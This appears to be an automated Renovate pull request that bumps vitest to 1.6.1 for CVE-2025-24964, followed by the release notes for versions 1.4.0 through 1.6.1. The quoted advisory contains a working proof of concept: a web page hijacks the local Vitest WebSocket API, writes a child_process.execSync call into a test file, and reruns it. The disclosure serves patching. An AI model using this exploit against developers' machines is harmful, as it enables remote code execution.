zigbee2mqtt-frontend
zigbee2mqtt-frontend copied to clipboard
chore(deps): update dependency vitest to v1.6.1 [security]
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| vitest (source) | 1.3.1 -> 1.6.1 |
GitHub Vulnerability Alerts
CVE-2025-24964
Summary
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
Details
When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46
This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76
PoC
- Open Vitest UI.
- Access a malicious web site with the script below.
- If you have
calcexecutable inPATHenv var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
}))
// rerun the tests to run the injected command execution code
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
Impact
This vulnerability can result in remote code execution for users that are using Vitest serve API.
Release Notes
vitest-dev/vitest (vitest)
v1.6.1
This release includes security patches for:
🐞 Bug Fixes
- backport https://github.com/vitest-dev/vitest/issues/7317 to v1 - by @hi-ogawa in https://github.com/vitest-dev/vitest/pull/7319
View changes on GitHub
v1.6.0
🚀 Features
- Support standalone mode - by @sheremet-va in https://github.com/vitest-dev/vitest/issues/5565 (bdce0)
- Custom "snapshotEnvironment" option - by @sheremet-va in https://github.com/vitest-dev/vitest/issues/5449 (30f72)
- benchmark: Support comparing benchmark result - by @hi-ogawa and @sheremet-va in https://github.com/vitest-dev/vitest/issues/5398 (f8d3d)
- browser: Allow injecting scripts - by @sheremet-va in https://github.com/vitest-dev/vitest/issues/5656 (21e58)
- reporter: Support
includeConsoleOutputandaddFileAttributein junit - by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5659 (2f913) - ui: Sort items by file name - by @btea in https://github.com/vitest-dev/vitest/issues/5652 (1f726)
🐞 Bug Fixes
- Keep order of arguments for .each in custom task collectors - by @sheremet-va in https://github.com/vitest-dev/vitest/issues/5640 (7d57c)
- Call
resolveId('vitest')afterbuildStart- by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5646 (f5faf) - Hash the name of the file when caching - by @sheremet-va in https://github.com/vitest-dev/vitest/issues/5654 (c9e68)
- Don't panic on empty files in node_modules - by @sheremet-va (40c29)
- Use
toJSONfor error serialization - by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5526 (19a21) - coverage:
- Exclude
*.test-d.*by default - by @MindfulPol in https://github.com/vitest-dev/vitest/issues/5634 (bfe8a) - Apply
vite-node's wrapper only to executed files - by @AriPerkkio in https://github.com/vitest-dev/vitest/issues/5642 (c9883)
- Exclude
- vm:
- Support network imports - by @sheremet-va in https://github.com/vitest-dev/vitest/issues/5610 (103a6)
🏎 Performance
- Improve performance of forks pool - by @sheremet-va in https://github.com/vitest-dev/vitest/issues/5592 (d8304)
- Unnecessary rpc call when coverage is disabled - by @AriPerkkio in https://github.com/vitest-dev/vitest/issues/5658 (c5712)
View changes on GitHub
v1.5.3
🐞 Bug Fixes
- Use package.json name for a workspace project if not provided - by @sheremet-va in https://github.com/vitest-dev/vitest/issues/5608 (48fba)
- Backport jest iterable equality within object - by @sukovanej in https://github.com/vitest-dev/vitest/issues/5621 (30e5d)
- browser: Support benchmark - by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5622 (becab)
- reporter: Use default error formatter for JUnit - by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5629 (20060)
View changes on GitHub
v1.5.2
🐞 Bug Fixes
- Check for null before storing in weakmap - by @sheremet-va (ce368)
View changes on GitHub
v1.5.1
🚀 Features
- api:
startVitest()to acceptstdoutandstdin- by @AriPerkkio in https://github.com/vitest-dev/vitest/issues/5493 (780b1)- This is listed as a feature, but it doesn't increase the minor version because
startVitestAPI is experimental and doesn't follow semver.
- This is listed as a feature, but it doesn't increase the minor version because
🐞 Bug Fixes
- Close vite servers on all resolved projects - by @surc54 in https://github.com/vitest-dev/vitest/issues/5544 (413ec)
- Fix default
import.meta.env.PROD: false- by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5561 (9c649) - Resolve cwd correctly when initiating projects - by @sheremet-va in https://github.com/vitest-dev/vitest/issues/5582 (ec9d7)
- Always run
onTestFinishedin reverse order - by @sheremet-va in https://github.com/vitest-dev/vitest/issues/5598 (23f29) - browser:
- Disable
fileParallelismby default on browser pool - by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5528 (5c69f) - Dispose tester iframe on done - by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5595 (b2135)
- Disable
- coverage:
- Fix bundling of
v8-to-istanbul- by @AriPerkkio in https://github.com/vitest-dev/vitest/issues/5549 (df6a4) - Prevent crash when
cleanOnRerunis disabled - by @AriPerkkio in https://github.com/vitest-dev/vitest/issues/5540 (ea3c1) thresholdsto compare files relative to root - by @AriPerkkio in https://github.com/vitest-dev/vitest/issues/5574 (80265)
- Fix bundling of
- expect:
- Fix
toEqualandtoMatchObjectwith circular references - by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5535 (9e641)
- Fix
- vitest:
- Fix false positive file filter match with leading slash - by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5578 (316eb)
- Watch the output directory correctly - by @sheremet-va in https://github.com/vitest-dev/vitest/issues/5584 (e40f9)
- StubEnv casts boolean on PROD/SSR/DEV - by @sheremet-va in https://github.com/vitest-dev/vitest/issues/5590 (4da88)
View changes on GitHub
v1.5.0
🚀 Features
- Add configuration for diff truncation - by @willieho in https://github.com/vitest-dev/vitest/issues/5073 and https://github.com/vitest-dev/vitest/issues/5333 (6797b)
- Remove unrelated noise from diff for toMatchObject() - by @geersch in https://github.com/vitest-dev/vitest/issues/5364 (99276)
- Allow custom host for --inspect and --inspect-brk - by @sheremet-va in https://github.com/vitest-dev/vitest/issues/5509 (61572)
- coverage: V8 to ignore empty lines, comments, types - by @AriPerkkio in https://github.com/vitest-dev/vitest/issues/5457 (10b89)
🐞 Bug Fixes
describecalls not taking generic type parameters - by @aryaemami59 in https://github.com/vitest-dev/vitest/issues/5415 (16bac)- Prevent hang when
processis mocked - by @AriPerkkio in https://github.com/vitest-dev/vitest/issues/5430 (0ec4d) - Don't check for "node:internal/console/" in console interceptor in case the environment is not Node.js - by @sheremet-va (87d36)
- The value received by toMatch should be a string - by @btea in https://github.com/vitest-dev/vitest/issues/5428 (67485)
- Increase stack trace limit for location, don't hardcode suite position - by @sheremet-va in https://github.com/vitest-dev/vitest/issues/5518 (04b23)
- benchmark:
- Run benchmark suites sequentially - by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5444 (1f548)
- Fix benchmark summary of single bench suite - by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5489 (db981)
- Table reporter for non TTY output - by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5484 (bea23)
- expect:
- Fix
toHaveBeenNthCalledWitherror message when not called - by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5420 (e5253)
- Fix
- types:
- Pass correct type for suite factory - by @sheremet-va in https://github.com/vitest-dev/vitest/issues/5437 (26718)
- utils:
- Fix object diff with getter only property - by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5466 (366d9)
- vite-node:
- Fix
isValidNodeImportto check"type": "module"first - by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5416 (6fb15)
- Fix
- vitest:
- Correctly send console events when state changes - by @sheremet-va (3463f)
- Initiate FakeTimers on demand - by @sheremet-va in https://github.com/vitest-dev/vitest/issues/5450 (e4e93)
- Check unhighlighted code for code frame line limit - by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5465 (6ae7e)
- Correctly filter by parent folder - by @sheremet-va in https://github.com/vitest-dev/vitest/issues/5408 (91b06)
- Close inspector immediately if run is canceled - by @sheremet-va in https://github.com/vitest-dev/vitest/issues/5519 (b8006)
- workspace:
- Set CWD to config directory, allow overriding local .env - by @sheremet-va in https://github.com/vitest-dev/vitest/issues/5476 (d4003)
View changes on GitHub
v1.4.0
🚀 Features
- Throw error when using snapshot assertion with
not- by @fenghan34 in https://github.com/vitest-dev/vitest/issues/5294 (b9d37) - Add a flag to include test location in tasks - by @sheremet-va in https://github.com/vitest-dev/vitest/issues/5342 (d627e)
- cli:
- Support wildcards in
--projectoption - by @fenghan34 in https://github.com/vitest-dev/vitest/issues/5295 (201bd)
- Support wildcards in
- config:
- Add
shuffle.filesandshuffle.testsoptions - by @fenghan34 in https://github.com/vitest-dev/vitest/issues/5281 (356db) - Deprecate
cache.diroption - by @fenghan34 in https://github.com/vitest-dev/vitest/issues/5229 (d7e8b)
- Add
- coverage:
- Support
--changedoption - by @AriPerkkio in https://github.com/vitest-dev/vitest/issues/5314 (600b4)
- Support
- vitest:
- Support
clearScreencli flag - by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5241 (e1735)
- Support
🐞 Bug Fixes
- Repeatable
--projectoption - by @fenghan34 in https://github.com/vitest-dev/vitest/issues/5265 (d1a06) --inspect-brkto pause before execution - by @AriPerkkio in https://github.com/vitest-dev/vitest/issues/5355 (e77c5)- Correct locations in test.each tasks - by @sheremet-va (4f6e3)
- api:
- Use resolvedUrls from devserver - by @saitonakamura and @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5289 (2fef5)
- browser:
- Add
magic-stringtooptimizeDeps.include- by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5278 (8f04e)
- Add
- coverage:
- Expensive regexp hangs v8 report generation - by @AriPerkkio in https://github.com/vitest-dev/vitest/issues/5259 (d68a7)
- V8 to ignore type-only files - by @AriPerkkio in https://github.com/vitest-dev/vitest/issues/5328 (c3eb8)
- Respect source maps of pre-transpiled sources - by @AriPerkkio in https://github.com/vitest-dev/vitest/issues/5367 (6eda4)
- Prevent
reportsDirectoryfrom removing user's project - by @AriPerkkio in https://github.com/vitest-dev/vitest/issues/5376 (07ec3)
- expect:
- Show diff on
toContain/toMatchassertion error - by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5267 (8ee59)
- Show diff on
- forks:
- Wrap
definesto supportundefinedvalues - by @AriPerkkio in https://github.com/vitest-dev/vitest/issues/5284 (5b58b)
- Wrap
- typecheck:
- Update get-tsconfig 4.7.3 to fix false circularity error - by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5384 (bdc37)
- ui:
- Escape html in error diff - by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5325 (ab60b)
- vitest:
- Loosen
onConsoleLogreturn type - by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5337 (6d1b1) - Ensure restoring terminal cursor on close - by @hi-ogawa in https://github.com/vitest-dev/vitest/issues/5292 (0bea2)
- Ignore timeout on websocket reporter rpc - by @sheremet-va (38119)
- Correctly override api with --no-api flag - by @sheremet-va in https://github.com/vitest-dev/vitest/issues/5386 (51d1d)
- Logs in
beforeAllandafterAll- by @fenghan34 in https://github.com/vitest-dev/vitest/issues/5288 (ce5ca)
- Loosen
- workspace:
- Throw error when browser mode and
@vitest/coverage-v8are used - by @AriPerkkio in https://github.com/vitest-dev/vitest/issues/5250 (29f98)
- Throw error when browser mode and
View changes on GitHub
Configuration
📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
- [ ] If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.